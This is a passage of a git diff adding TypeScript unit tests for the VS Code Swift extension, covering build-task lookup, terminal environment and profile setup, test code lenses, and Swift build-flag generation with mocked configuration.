${SwiftTaskProvider.buildAllName}`, + { + cwd: workspaceFolder.uri, + scope: workspaceFolder, + }, + instance(toolchain) + ); + workspaceTask.source = "Workspace"; // When comes from task.json + }); + + test("returns task provided by the extension", async () => { + tasksMock.fetchTasks.resolves([extensionTask]); + assert.strictEqual(extensionTask, await getBuildAllTask(instance(folderContext))); + }); + + test("returns workspace task, matched by name", async () => { + tasksMock.fetchTasks.withArgs().resolves([workspaceTask]); + tasksMock.fetchTasks.withArgs(match.object).returns(Promise.resolve([extensionTask])); + assert.strictEqual(workspaceTask, await getBuildAllTask(instance(folderContext))); + }); + + test("returns workspace task, default build task", async () => { + const defaultBuildTask = createSwiftTask( + ["build"], + `some weird task name`, + { + cwd: workspaceFolder.uri, + scope: workspaceFolder, + }, + instance(toolchain) + ); + defaultBuildTask.source = "Workspace"; + defaultBuildTask.group = { + id: vscode.TaskGroup.Build.id, + isDefault: true, + }; + tasksMock.fetchTasks.resolves([defaultBuildTask, workspaceTask]); + assert.strictEqual(defaultBuildTask, await getBuildAllTask(instance(folderContext))); + }); + + test("workspace task NOT default build task", async () => { + const nonDefaultBuildTask = createSwiftTask( + ["build"], + `some weird task name`, + { + cwd: workspaceFolder.uri, + scope: workspaceFolder, + }, + instance(toolchain) + ); + nonDefaultBuildTask.source = "Workspace"; + nonDefaultBuildTask.group = vscode.TaskGroup.Build; + tasksMock.fetchTasks.withArgs().resolves([nonDefaultBuildTask]); + tasksMock.fetchTasks.withArgs(match.object).returns(Promise.resolve([extensionTask])); + assert.strictEqual(extensionTask, await getBuildAllTask(instance(folderContext))); + }); + }); +}); diff --git a/test/unit-tests/terminal.test.ts b/test/unit-tests/terminal.test.ts new file mode 100644 index 000000000..e4a3f2e56 --- /dev/null +++ b/test/unit-tests/terminal.test.ts @@ -0,0 +1,286 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as vscode from "vscode"; + +import configuration from "@src/configuration"; +import { SwiftEnvironmentVariablesManager, SwiftTerminalProfileProvider } from "@src/terminal"; + +import { + MockedObject, + instance, + mockGlobalObject, + mockGlobalValue, + mockObject, +} from "../MockUtils"; + +suite("Terminal", () => { + const mockedPlatform = mockGlobalValue(process, "platform"); + const enableTerminalEnvironmentConfig = mockGlobalValue( + configuration, + "enableTerminalEnvironment" + ); + const pathConfig = mockGlobalValue(configuration, "path"); + const swiftEnvironmentVariablesConfig = mockGlobalValue( + configuration, + "swiftEnvironmentVariables" + ); + + setup(() => { + // Set default platform to non-Windows for most tests + mockedPlatform.setValue("darwin"); + + // Default configuration values + enableTerminalEnvironmentConfig.setValue(true); + pathConfig.setValue("/path/to/swift"); + swiftEnvironmentVariablesConfig.setValue({ SWIFT_ENV: "test" }); + }); + + suite("SwiftEnvironmentVariablesManager", () => { + let mockedExtensionContext: MockedObject; + let mockedEnvironmentVariableCollection: MockedObject; + let mockedDisposable: MockedObject; + + const mockedWorkspace = mockGlobalObject(vscode, "workspace"); + + setup(() => { + // Set default platform to non-Windows for most tests + mockedPlatform.setValue("darwin"); + + mockedEnvironmentVariableCollection = + mockObject({ + clear: () => {}, + prepend: () => {}, + replace: () => {}, + getScoped: (_scope: vscode.EnvironmentVariableScope) => + instance(mockedEnvironmentVariableCollection), + }); + + mockedExtensionContext = mockObject({ + environmentVariableCollection: instance(mockedEnvironmentVariableCollection), + }); + + mockedDisposable = mockObject({ + dispose: () => {}, + }); + + mockedWorkspace.onDidChangeConfiguration.returns(instance(mockedDisposable)); + }); + + test("constructor initializes and calls update", () => { + new SwiftEnvironmentVariablesManager(instance(mockedExtensionContext)); + expect(mockedEnvironmentVariableCollection.clear).to.have.been.calledOnce; + expect(mockedEnvironmentVariableCollection.prepend).to.have.been.calledWith( + "PATH", + "/path/to/swift:" + ); + expect(mockedEnvironmentVariableCollection.replace).to.have.been.calledWith( + "SWIFT_ENV", + "test" + ); + }); + + test("constructor registers configuration change listener", () => { + new SwiftEnvironmentVariablesManager(instance(mockedExtensionContext)); + + expect(mockedWorkspace.onDidChangeConfiguration).to.have.been.calledOnce; + }); + + test("update does nothing when enableTerminalEnvironment is false", () => { + enableTerminalEnvironmentConfig.setValue(false); + + new SwiftEnvironmentVariablesManager(instance(mockedExtensionContext)); + + expect(mockedEnvironmentVariableCollection.clear).to.have.been.calledOnce; + expect(mockedEnvironmentVariableCollection.prepend).to.not.have.been.called; + expect(mockedEnvironmentVariableCollection.replace).to.not.have.been.called; + }); + + test("update handles empty path", () => { + pathConfig.setValue(""); + + new SwiftEnvironmentVariablesManager(instance(mockedExtensionContext)); + + expect(mockedEnvironmentVariableCollection.clear).to.have.been.calledOnce; + expect(mockedEnvironmentVariableCollection.prepend).to.not.have.been.called; + expect(mockedEnvironmentVariableCollection.replace).to.have.been.calledWith( + "SWIFT_ENV", + "test" + ); + }); + + test("update handles empty environment variables", () => { + swiftEnvironmentVariablesConfig.setValue({}); + + new SwiftEnvironmentVariablesManager(instance(mockedExtensionContext)); + + expect(mockedEnvironmentVariableCollection.clear).to.have.been.calledOnce; + expect(mockedEnvironmentVariableCollection.prepend).to.have.been.calledWith( + "PATH", + "/path/to/swift:" + ); + expect(mockedEnvironmentVariableCollection.replace).to.not.have.been.called; + }); + + test("update uses Windows path separator on Windows", () => { + mockedPlatform.setValue("win32"); + + new SwiftEnvironmentVariablesManager(instance(mockedExtensionContext)); + + expect(mockedEnvironmentVariableCollection.prepend).to.have.been.calledWith( + "PATH", + "/path/to/swift;" + ); + }); + + test("dispose clears environment variables and disposes subscriptions", () => { + const manager = new SwiftEnvironmentVariablesManager(instance(mockedExtensionContext)); + + mockedEnvironmentVariableCollection.clear.resetHistory(); + + manager.dispose(); + + expect(mockedEnvironmentVariableCollection.clear).to.have.been.calledOnce; + expect(mockedDisposable.dispose).to.have.been.calledOnce; + }); + + test("onDidChangeConfiguration calls update", () => { + new SwiftEnvironmentVariablesManager(instance(mockedExtensionContext)); + + const callback = mockedWorkspace.onDidChangeConfiguration.getCall(0).args[0]; + + mockedEnvironmentVariableCollection.clear.resetHistory(); + + callback({ affectsConfiguration: (section: string) => section === "swift.path" }); + + expect(mockedEnvironmentVariableCollection.clear).to.have.been.calledOnce; + + mockedEnvironmentVariableCollection.clear.resetHistory(); + + callback({ affectsConfiguration: (section: string) => section === "other.setting" }); + + expect(mockedEnvironmentVariableCollection.clear).to.not.have.been.called; + }); + + test("onDidChangeConfiguration calls update", () => { + // Create the manager + new SwiftEnvironmentVariablesManager(instance(mockedExtensionContext)); + + // Get the callback + const callback = mockedWorkspace.onDidChangeConfiguration.getCall(0).args[0]; + + // Reset call history + mockedEnvironmentVariableCollection.clear.resetHistory(); + + // Call the callback with an event that affects swift.path + callback({ affectsConfiguration: (section: string) => section === "swift.path" }); + + // Verify that clear was called again + expect(mockedEnvironmentVariableCollection.clear).to.have.been.calledOnce; + + // Reset call history + mockedEnvironmentVariableCollection.clear.resetHistory(); + + // Call the callback with an event that does not affect swift.path + callback({ affectsConfiguration: (section: string) => section === "other.setting" }); + + // Verify that clear was not called + expect(mockedEnvironmentVariableCollection.clear).to.not.have.been.called; + }); + }); + + suite("SwiftTerminalProfileProvider", () => { + // Mock configuration values + const mockedWindow = mockGlobalObject(vscode, "window"); + let mockedTerminal: MockedObject; + let mockedDisposable: MockedObject; + + setup(() => { + // Create mocks + mockedTerminal = mockObject({ + sendText: () => {}, + }); + + mockedDisposable = mockObject({ + dispose: () => {}, + }); + + mockedWindow.onDidOpenTerminal.returns(instance(mockedDisposable)); + mockedWindow.registerTerminalProfileProvider.returns(instance(mockedDisposable)); + }); + + test("provideTerminalProfile returns correct profile with environment variables", () => { + const provider = new SwiftTerminalProfileProvider(); + const profile = provider.provideTerminalProfile(); + + expect(profile).to.be.instanceOf(vscode.TerminalProfile); + expect((profile as vscode.TerminalProfile).options.name).to.equal("Swift Terminal"); + expect((profile as vscode.TerminalProfile).options.iconPath).to.be.instanceOf( + vscode.ThemeIcon + ); + + // Access env property safely with type assertion + const options = (profile as vscode.TerminalProfile).options; + const env = options as unknown as { env: Record }; + expect(env.env).to.deep.equal({ SWIFT_ENV: "test" }); + }); + + test("provideTerminalProfile sets up terminal when enableTerminalEnvironment is false", () => { + enableTerminalEnvironmentConfig.setValue(false); + + const provider = new SwiftTerminalProfileProvider(); + const profile = provider.provideTerminalProfile(); + expect(profile).to.exist; + expect(mockedWindow.onDidOpenTerminal).to.have.been.calledOnce; + + const callback = mockedWindow.onDidOpenTerminal.getCall(0).args[0]; + callback(instance(mockedTerminal)); + + expect(mockedDisposable.dispose).to.have.been.calledOnce; + expect(mockedTerminal.sendText).to.have.been.calledWith( + "export PATH=/path/to/swift:$PATH" + ); + }); + + test("provideTerminalProfile uses Windows path separator on Windows", () => { + mockedPlatform.setValue("win32"); + enableTerminalEnvironmentConfig.setValue(false); + + const provider = new SwiftTerminalProfileProvider(); + const profile = provider.provideTerminalProfile(); + expect(profile).to.exist; + + const callback = mockedWindow.onDidOpenTerminal.getCall(0).args[0]; + callback(instance(mockedTerminal)); + + expect(mockedTerminal.sendText).to.have.been.calledWith( + "export PATH=/path/to/swift;$PATH" + ); + }); + + test("register calls registerTerminalProfileProvider", () => { + const disposable = SwiftTerminalProfileProvider.register(); + + expect(mockedWindow.registerTerminalProfileProvider).to.have.been.calledOnce; + expect(mockedWindow.registerTerminalProfileProvider.getCall(0).args[0]).to.equal( + "swift.terminalProfile" + ); + expect( + mockedWindow.registerTerminalProfileProvider.getCall(0).args[1] + ).to.be.instanceOf(SwiftTerminalProfileProvider); + + expect(disposable).to.equal(instance(mockedDisposable)); + }); + }); +}); diff --git a/test/unit-tests/testexplorer/TestCodeLensProvider.test.ts b/test/unit-tests/testexplorer/TestCodeLensProvider.test.ts new file mode 100644 index 000000000..177e796eb --- /dev/null +++ b/test/unit-tests/testexplorer/TestCodeLensProvider.test.ts @@ -0,0 +1,270 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as sinon from "sinon"; +import * as vscode from "vscode"; + +import { TestCodeLensProvider } from "@src/TestExplorer/TestCodeLensProvider"; +import { TestExplorer } from "@src/TestExplorer/TestExplorer"; +import * as TestUtils from "@src/TestExplorer/TestUtils"; +import configuration from "@src/configuration"; + +import { instance, mockObject } from "../../MockUtils"; + +suite("TestCodeLensProvider", () => { + let sandbox: sinon.SinonSandbox; + let testExplorer: TestExplorer; + let testItems: vscode.TestItem[]; + let document: vscode.TextDocument; + let configStub: sinon.SinonStub; + let flattenStub: sinon.SinonStub; + let registerCodeLensProviderStub: sinon.SinonStub; + let codeLensProvider: TestCodeLensProvider; + + const token = () => new vscode.CancellationTokenSource().token; + + setup(() => { + sandbox = sinon.createSandbox(); + + testItems = [ + createTestItem("test1", "Test 1", "/path/to/file1.swift", new vscode.Range(0, 0, 1, 0)), + createTestItem("test2", "Test 2", "/path/to/file2.swift", new vscode.Range(2, 0, 3, 0)), + createTestItem("test3", "Test 3", "/path/to/file1.swift", new vscode.Range(4, 0, 5, 0)), + createTestItem("test4", "Test 4", "/path/to/file1.swift", undefined), + ]; + + const testItemCollection = mockObject({ + forEach: sandbox.stub().callsFake((callback: (item: vscode.TestItem) => void) => { + testItems.forEach(item => callback(item)); + }), + get: sandbox.stub(), + delete: sandbox.stub(), + replace: sandbox.stub(), + size: testItems.length, + add: sandbox.stub(), + }); + + const testController = mockObject({ + items: testItemCollection, + createTestItem: sandbox.stub(), + }); + + const onTestItemsDidChangeStub = sandbox.stub(); + onTestItemsDidChangeStub.returns({ dispose: sandbox.stub() }); + + testExplorer = mockObject({ + controller: instance(testController), + onTestItemsDidChange: onTestItemsDidChangeStub, + }) as unknown as TestExplorer; // allows for a partial mock of TestExplorer + + document = instance( + mockObject({ + uri: vscode.Uri.file("/path/to/file1.swift"), + }) + ); + + registerCodeLensProviderStub = sandbox + .stub(vscode.languages, "registerCodeLensProvider") + .returns({ dispose: sandbox.stub() }); + + configStub = sandbox.stub(configuration, "showTestCodeLenses"); + flattenStub = sandbox.stub(TestUtils, "flattenTestItemCollection").returns(testItems); + codeLensProvider = new TestCodeLensProvider(testExplorer); + }); + + teardown(() => { + sandbox.restore(); + codeLensProvider.dispose(); + }); + + function createTestItem( + id: string, + label: string, + filePath: string, + range: vscode.Range | undefined + ): vscode.TestItem { + return instance( + mockObject({ + id, + label, + uri: filePath ? vscode.Uri.file(filePath) : undefined, + range, + }) + ); + } + + test("constructor should register event handlers and code lens provider", () => { + expect((testExplorer.onTestItemsDidChange as sinon.SinonStub).calledOnce).to.be.true; + expect(registerCodeLensProviderStub.calledOnce).to.be.true; + expect(registerCodeLensProviderStub.firstCall.args[0]).to.deep.equal({ + language: "swift", + scheme: "file", + }); + expect(registerCodeLensProviderStub.firstCall.args[1]).to.equal(codeLensProvider); + }); + + test("provideCodeLenses should return empty array when showTestCodeLenses is false", async () => { + configStub.value(false); + + const result = await codeLensProvider.provideCodeLenses(document, token()); + + expect(result).to.be.an("array").that.is.empty; + expect(flattenStub.called).to.be.false; + }); + + test("provideCodeLenses should return empty array when showTestCodeLenses is an empty array", async () => { + configStub.value([]); + + const result = await codeLensProvider.provideCodeLenses(document, token()); + + expect(result).to.be.an("array").that.is.empty; + expect(flattenStub.called).to.be.false; + }); + + test("provideCodeLenses should filter test items by document URI", async () => { + configStub.value(true); + + const result = await codeLensProvider.provideCodeLenses(document, token()); + + // Should only include test items with matching URI (test1 and test3) + expect(result).to.be.an("array").with.lengthOf(6); // 2 test items * 3 lens types + expect(result).to.not.be.null; + expect(result).to.not.be.undefined; + + // Verify that the code lenses are for the correct test items + const testItemIds = result!.map( + lens => (lens.command?.arguments?.[0] as vscode.TestItem).id + ); + expect(testItemIds).to.include.members([ + "test1", + "test1", + "test1", + "test3", + "test3", + "test3", + ]); + expect(testItemIds).to.not.include.members(["test2", "test4"]); + }); + + test("provideCodeLenses should create code lenses for all types when showTestCodeLenses is true", async () => { + configStub.value(true); + + const result = await codeLensProvider.provideCodeLenses(document, token()); + + // Should create 3 lens types (run, debug, coverage) for each matching test item (test1 and test3) + expect(result).to.be.an("array").with.lengthOf(6); + expect(result).to.not.be.null; + expect(result).to.not.be.undefined; + + const commands = result!.map((lens: vscode.CodeLens) => lens.command?.command); + expect(commands).to.include.members([ + "swift.runTest", + "swift.runTest", + "swift.debugTest", + "swift.debugTest", + "swift.runTestWithCoverage", + "swift.runTestWithCoverage", + ]); + }); + + test("provideCodeLenses should create code lenses only for specified types", async () => { + configStub.value(["run", "debug"]); + + const result = await codeLensProvider.provideCodeLenses(document, token()); + + // Should create 2 lens types (run, debug) for each matching test item (test1 and test3) + expect(result).to.be.an("array").with.lengthOf(4); + expect(result).to.not.be.null; + expect(result).to.not.be.undefined; + + const commands = result!.map((lens: vscode.CodeLens) => lens.command?.command); + expect(commands).to.include.members([ + "swift.runTest", + "swift.runTest", + "swift.debugTest", + "swift.debugTest", + ]); + expect(commands).to.not.include("swift.runTestWithCoverage"); + }); + + test("provideCodeLenses should return empty array for test items without a range", async () => { + configStub.value(true); + + // Create a document that matches the URI of the test item without a range + const noRangeDocument = instance( + mockObject({ + uri: vscode.Uri.file("/path/to/file1.swift"), + }) + ); + + // Make flattenStub return only the test item without a range + flattenStub.returns([testItems[3]]); // test4 has no range + + const result = await codeLensProvider.provideCodeLenses(noRangeDocument, token()); + + expect(result).to.be.an("array").that.is.empty; + }); + + test("provideCodeLenses should create code lenses for all types when config is true", async () => { + configStub.value(true); + + // Create a document that matches the URI of the test item with a range + const singleItemDocument = instance( + mockObject({ + uri: vscode.Uri.file("/path/to/file1.swift"), + }) + ); + + // Make flattenStub return only one test item with a range + flattenStub.returns([testItems[0]]); // test1 has a range + + const result = await codeLensProvider.provideCodeLenses(singleItemDocument, token()); + + // Should create 3 lens types (run, debug, coverage) + expect(result).to.be.an("array").with.lengthOf(3); + expect(result).to.not.be.null; + expect(result).to.not.be.undefined; + + const commands = result!.map((lens: vscode.CodeLens) => lens.command?.command); + expect(commands).to.include.members([ + "swift.runTest", + "swift.debugTest", + "swift.runTestWithCoverage", + ]); + }); + + test("provideCodeLenses should create code lenses only for specified types", async () => { + configStub.value(["run"]); + + // Create a document that matches the URI of the test item with a range + const singleItemDocument = instance( + mockObject({ + uri: vscode.Uri.file("/path/to/file1.swift"), + }) + ); + + // Make flattenStub return only one test item with a range + flattenStub.returns([testItems[0]]); // test1 has a range + + const result = await codeLensProvider.provideCodeLenses(singleItemDocument, token()); + + // Should create 1 lens type (run) + expect(result).to.be.an("array").with.lengthOf(1); + + // Ensure result is not null or undefined before accessing its properties + expect(result).to.not.be.null; + expect(result).to.not.be.undefined; + expect(result![0].command?.command).to.equal("swift.runTest"); + }); +}); diff --git a/test/unit-tests/toolchain/BuildFlags.test.ts b/test/unit-tests/toolchain/BuildFlags.test.ts new file mode 100644 index 000000000..224ee728d --- /dev/null +++ b/test/unit-tests/toolchain/BuildFlags.test.ts @@ -0,0 +1,575 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2023 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as path from "path"; +import * as sinon from "sinon"; + +import configuration from "@src/configuration"; +import { SwiftLogger } from "@src/logging/SwiftLogger"; +import { ArgumentFilter, BuildFlags } from "@src/toolchain/BuildFlags"; +import { DarwinCompatibleTarget, SwiftToolchain } from "@src/toolchain/toolchain"; +import * as utilities from "@src/utilities/utilities"; +import { Version } from "@src/utilities/version"; + +import { MockedObject, instance, mockGlobalValue, mockObject } from "../../MockUtils"; + +suite("BuildFlags Test Suite", () => { + const mockedPlatform = mockGlobalValue(process, "platform"); + let mockedToolchain: MockedObject; + let buildFlags: BuildFlags; + + const sandboxConfig = mockGlobalValue(configuration, "disableSandbox"); + + suiteSetup(() => { + mockedToolchain = mockObject({ + swiftVersion: new Version(6, 0, 0), + }); + buildFlags = new BuildFlags(instance(mockedToolchain)); + }); + + setup(() => { + mockedPlatform.setValue("darwin"); + sandboxConfig.setValue(false); + }); + + suite("getDarwinTarget", () => { + const sdkConfig = mockGlobalValue(configuration, "sdk"); + + test("iPhoneOS", () => { + sdkConfig.setValue("/some/other/full/test/path/iPhoneOS15.0.sdk"); + expect(buildFlags.getDarwinTarget()).to.containSubset({ + target: DarwinCompatibleTarget.iOS, + version: "15.0", + }); + }); + + test("AppleTVOS", () => { + sdkConfig.setValue("/some/other/full/test/path/AppleTVOS4.1.2.sdk"); + expect(buildFlags.getDarwinTarget()).to.containSubset({ + target: DarwinCompatibleTarget.tvOS, + version: "4.1.2", + }); + }); + + test("WatchOS", () => { + sdkConfig.setValue("/some/other/full/test/path/WatchOS7.0.sdk"); + expect(buildFlags.getDarwinTarget()).to.containSubset({ + target: DarwinCompatibleTarget.watchOS, + version: "7.0", + }); + }); + + test("XROS", () => { + sdkConfig.setValue("/some/other/full/test/path/XROS2.0.sdk"); + expect(buildFlags.getDarwinTarget()).to.containSubset({ + target: DarwinCompatibleTarget.visionOS, + version: "2.0", + }); + }); + + test("invalid name", () => { + sdkConfig.setValue("/some/other/full/test/path/UhOh1.2.3.sdk"); + expect(buildFlags.getDarwinTarget()).to.equal(undefined); + }); + }); + + suite("swiftpmSDKFlags", () => { + const sdkConfig = mockGlobalValue(configuration, "sdk"); + const swiftSDKConfig = mockGlobalValue(configuration, "swiftSDK"); + + test("no configuration provided", () => { + sdkConfig.setValue(""); + swiftSDKConfig.setValue(""); + expect(buildFlags.swiftpmSDKFlags()).to.be.an("array").that.is.empty; + }); + + test("configuration provided", () => { + sdkConfig.setValue("/some/other/full/test/path"); + expect(buildFlags.swiftpmSDKFlags()).to.deep.equal([ + "--sdk", + "/some/other/full/test/path", + ]); + }); + + test("configuration provided for swiftSDK", () => { + swiftSDKConfig.setValue("arm64-apple-ios"); + expect(buildFlags.swiftpmSDKFlags()).to.deep.equal(["--swift-sdk", "arm64-apple-ios"]); + }); + + test("configuration provided for swiftSDK and sdk", () => { + sdkConfig.setValue("/some/other/full/test/path"); + swiftSDKConfig.setValue("arm64-apple-ios"); + expect(buildFlags.swiftpmSDKFlags()).to.deep.equal([ + "--sdk", + "/some/other/full/test/path", + "--swift-sdk", + "arm64-apple-ios", + ]); + }); + + test("include target", () => { + sdkConfig.setValue("/some/other/full/test/path/WatchOS.sdk"); + expect(buildFlags.swiftpmSDKFlags()).to.deep.equal([ + "--sdk", + "/some/other/full/test/path/WatchOS.sdk", + "-Xswiftc", + "-target", + "-Xswiftc", + "arm64-apple-watchos", + ]); + }); + }); + + suite("swiftDriverSDKFlags", () => { + const sdkConfig = mockGlobalValue(configuration, "sdk"); + + test("direct", () => { + sdkConfig.setValue("/some/other/full/test/path/WatchOS.sdk"); + expect(buildFlags.swiftDriverSDKFlags()).to.deep.equal([ + "-sdk", + "/some/other/full/test/path/WatchOS.sdk", + ]); + }); + + test("indirect", () => { + sdkConfig.setValue("/some/other/full/test/path/WatchOS.sdk"); + expect(buildFlags.swiftDriverSDKFlags(true)).to.deep.equal([ + "-Xswiftc", + "-sdk", + "-Xswiftc", + "/some/other/full/test/path/WatchOS.sdk", + ]); + }); + }); + + suite("swiftDriverTargetFlags", () => { + const sdkConfig = mockGlobalValue(configuration, "sdk"); + + test("direct", () => { + sdkConfig.setValue("/some/other/full/test/path/WatchOS.sdk"); + expect(buildFlags.swiftDriverTargetFlags()).to.deep.equal([ + "-target", + "arm64-apple-watchos", + ]); + }); + + test("indirect", () => { + sdkConfig.setValue("/some/other/full/test/path/WatchOS.sdk"); + expect(buildFlags.swiftDriverTargetFlags(true)).to.deep.equal([ + "-Xswiftc", + "-target", + "-Xswiftc", + "arm64-apple-watchos", + ]); + }); + }); + + suite("buildPathFlags", () => { + const buildPathConfig = mockGlobalValue(configuration, "buildPath"); + + test("no configuration provided", () => { + buildPathConfig.setValue(""); + expect(buildFlags.buildPathFlags()).to.be.an("array").that.is.empty; + }); + + test("configuration provided", () => { + buildPathConfig.setValue("/some/other/full/test/path"); + expect(buildFlags.buildPathFlags()).to.deep.equal([ + "--scratch-path", + "/some/other/full/test/path", + ]); + }); + + test("configuration provided, before swift 5.8", () => { + mockedToolchain.swiftVersion = new Version(5, 7, 0); + buildPathConfig.setValue("/some/other/full/test/path"); + expect(buildFlags.buildPathFlags()).to.deep.equal([ + "--build-path", + "/some/other/full/test/path", + ]); + }); + }); + + suite("buildDirectoryFromWorkspacePath", () => { + const buildPathConfig = mockGlobalValue(configuration, "buildPath"); + + test("no configuration provided", () => { + buildPathConfig.setValue(""); + + expect( + BuildFlags.buildDirectoryFromWorkspacePath("/some/full/workspace/test/path", false) + ).to.equal(path.normalize(".build")); + + expect( + BuildFlags.buildDirectoryFromWorkspacePath("/some/full/workspace/test/path", true) + ).to.equal(path.normalize("/some/full/workspace/test/path/.build")); + }); + + test("absolute configuration provided", () => { + buildPathConfig.setValue(path.normalize("/some/other/full/test/path")); + + expect( + BuildFlags.buildDirectoryFromWorkspacePath( + path.normalize("/some/full/workspace/test/path"), + false + ) + ).to.equal(path.normalize("/some/other/full/test/path")); + + expect( + BuildFlags.buildDirectoryFromWorkspacePath( + path.normalize("/some/full/workspace/test/path"), + true + ) + ).to.equal(path.normalize("/some/other/full/test/path")); + }); + + test("relative configuration provided", () => { + buildPathConfig.setValue(path.normalize("some/relative/test/path")); + + expect( + BuildFlags.buildDirectoryFromWorkspacePath("/some/full/workspace/test/path", false) + ).to.equal(path.normalize("some/relative/test/path")); + + expect( + BuildFlags.buildDirectoryFromWorkspacePath("/some/full/workspace/test/path", true) + ).to.equal(path.normalize("/some/full/workspace/test/path/some/relative/test/path")); + }); + }); + + suite("withAdditionalFlags", () => { + const sdkConfig = mockGlobalValue(configuration, "sdk"); + + test("package", () => { + for (const sub of ["dump-symbol-graph", "diagnose-api-breaking-changes", "resolve"]) { + sdkConfig.setValue(""); + expect( + buildFlags.withAdditionalFlags(["package", sub, "--disable-sandbox"]) + ).to.deep.equal(["package", sub, "--disable-sandbox"]); + + sdkConfig.setValue("/some/full/path/to/sdk"); + expect( + buildFlags.withAdditionalFlags(["package", sub, "--disable-sandbox"]) + ).to.deep.equal([ + "package", + sub, + "--sdk", + "/some/full/path/to/sdk", + "--disable-sandbox", + ]); + } + + sdkConfig.setValue(""); + expect(buildFlags.withAdditionalFlags(["package", "init"])).to.deep.equal([ + "package", + "init", + ]); + + sdkConfig.setValue("/some/full/path/to/sdk"); + expect(buildFlags.withAdditionalFlags(["package", "init"])).to.deep.equal([ + "package", + "init", + ]); + + sandboxConfig.setValue(true); + expect(buildFlags.withAdditionalFlags(["package", "init"])).to.deep.equal([ + "package", + "--disable-sandbox", + "-Xswiftc", + "-disable-sandbox", + "init", + ]); + }); + + test("build", () => { + sdkConfig.setValue(""); + expect( + buildFlags.withAdditionalFlags(["build", "--target", "MyExecutable"]) + ).to.deep.equal(["build", "--target", "MyExecutable"]); + + sdkConfig.setValue("/some/full/path/to/sdk"); + expect( + buildFlags.withAdditionalFlags(["build", "--target", "MyExecutable"]) + ).to.deep.equal([ + "build", + "--sdk", + "/some/full/path/to/sdk", + "--target", + "MyExecutable", + ]); + + sandboxConfig.setValue(true); + expect( + buildFlags.withAdditionalFlags(["build", "--target", "MyExecutable"]) + ).to.deep.equal([ + "build", + "--sdk", + "/some/full/path/to/sdk", + "--target", + "MyExecutable", + "--disable-sandbox", + "-Xswiftc", + "-disable-sandbox", + ]); + }); + + test("run", () => { + sdkConfig.setValue(""); + expect( + buildFlags.withAdditionalFlags(["run", "--product", "MyExecutable"]) + ).to.deep.equal(["run", "--product", "MyExecutable"]); + + sdkConfig.setValue("/some/full/path/to/sdk"); + expect( + buildFlags.withAdditionalFlags(["run", "--product", "MyExecutable"]) + ).to.deep.equal([ + "run", + "--sdk", + "/some/full/path/to/sdk", + "--product", + "MyExecutable", + ]); + + sandboxConfig.setValue(true); + expect( + buildFlags.withAdditionalFlags(["run", "--product", "MyExecutable"]) + ).to.deep.equal([ + "run", + "--sdk", + "/some/full/path/to/sdk", + "--product", + "MyExecutable", + "--disable-sandbox", + "-Xswiftc", + "-disable-sandbox", + ]); + }); + + test("test", () => { + sdkConfig.setValue(""); + expect(buildFlags.withAdditionalFlags(["test", "--filter", "MyTests"])).to.deep.equal([ + "test", + "--filter", + "MyTests", + ]); + + sdkConfig.setValue("/some/full/path/to/sdk"); + expect(buildFlags.withAdditionalFlags(["test", "--filter", "MyTests"])).to.deep.equal([ + "test", + "--sdk", + "/some/full/path/to/sdk", + "--filter", + "MyTests", + ]); + + sandboxConfig.setValue(true); + expect(buildFlags.withAdditionalFlags(["test", "--filter", "MyTests"])).to.deep.equal([ + "test", + "--sdk", + "/some/full/path/to/sdk", + "--filter", + "MyTests", + "--disable-sandbox", + "-Xswiftc", + "-disable-sandbox", + ]); + }); + + test("other commands", () => { + sdkConfig.setValue(""); + expect(buildFlags.withAdditionalFlags(["help", "repl"])).to.deep.equal([ + "help", + "repl", + ]); + + sdkConfig.setValue("/some/full/path/to/sdk"); + expect(buildFlags.withAdditionalFlags(["help", "repl"])).to.deep.equal([ + "help", + "repl", + ]); + + sandboxConfig.setValue(true); + expect(buildFlags.withAdditionalFlags(["help", "repl"])).to.deep.equal([ + "help", + "repl", + ]); + }); + }); + + test("filterArguments", () => { + function filterArguments(args: string[]): string[] { + const argumentFilter: ArgumentFilter[] = [ + { argument: "-one", include: 1 }, + { argument: "-1", include: 1 }, + { argument: "-zero", include: 0 }, + { argument: "-two", include: 2 }, + ]; + return BuildFlags.filterArguments(args, argumentFilter); + } + expect(filterArguments(["-test", "this"])).to.be.an("array").that.is.empty; + expect(filterArguments(["-test", "-zero"])).to.deep.equal(["-zero"]); + expect(filterArguments(["-one", "inc1", "test"])).to.deep.equal(["-one", "inc1"]); + expect(filterArguments(["-two", "inc1", "inc2"])).to.deep.equal(["-two", "inc1", "inc2"]); + expect(filterArguments(["-ignore", "-one", "inc1", "test"])).to.deep.equal([ + "-one", + "inc1", + ]); + expect(filterArguments(["-one", "inc1", "test", "-1", "inc2"])).to.deep.equal([ + "-one", + "inc1", + "-1", + "inc2", + ]); + expect(filterArguments(["-one=1", "-zero=0", "-one1=1"])).to.deep.equal(["-one=1"]); + }); + + suite("getBuildBinaryPath", () => { + const buildArgsConfig = mockGlobalValue(configuration, "buildArguments"); + let execSwiftSpy: sinon.SinonSpy; + const logger: MockedObject = mockObject({ + warn: sinon.spy(), + }); + + setup(async () => { + execSwiftSpy = sinon.spy(() => + Promise.resolve({ stdout: "/test/bin/path\n", stderr: "" }) + ); + sinon.replace(utilities, "execSwift", execSwiftSpy); + + // Clear cache before each test + BuildFlags.clearBuildPathCache(); + buildArgsConfig.setValue([]); + }); + + teardown(() => { + sinon.restore(); + BuildFlags.clearBuildPathCache(); + }); + + test("debug configuration calls swift build with correct arguments", async () => { + const result = await buildFlags.getBuildBinaryPath( + "/test/workspace", + "debug", + instance(logger) + ); + + expect(result).to.equal("/test/bin/path"); + 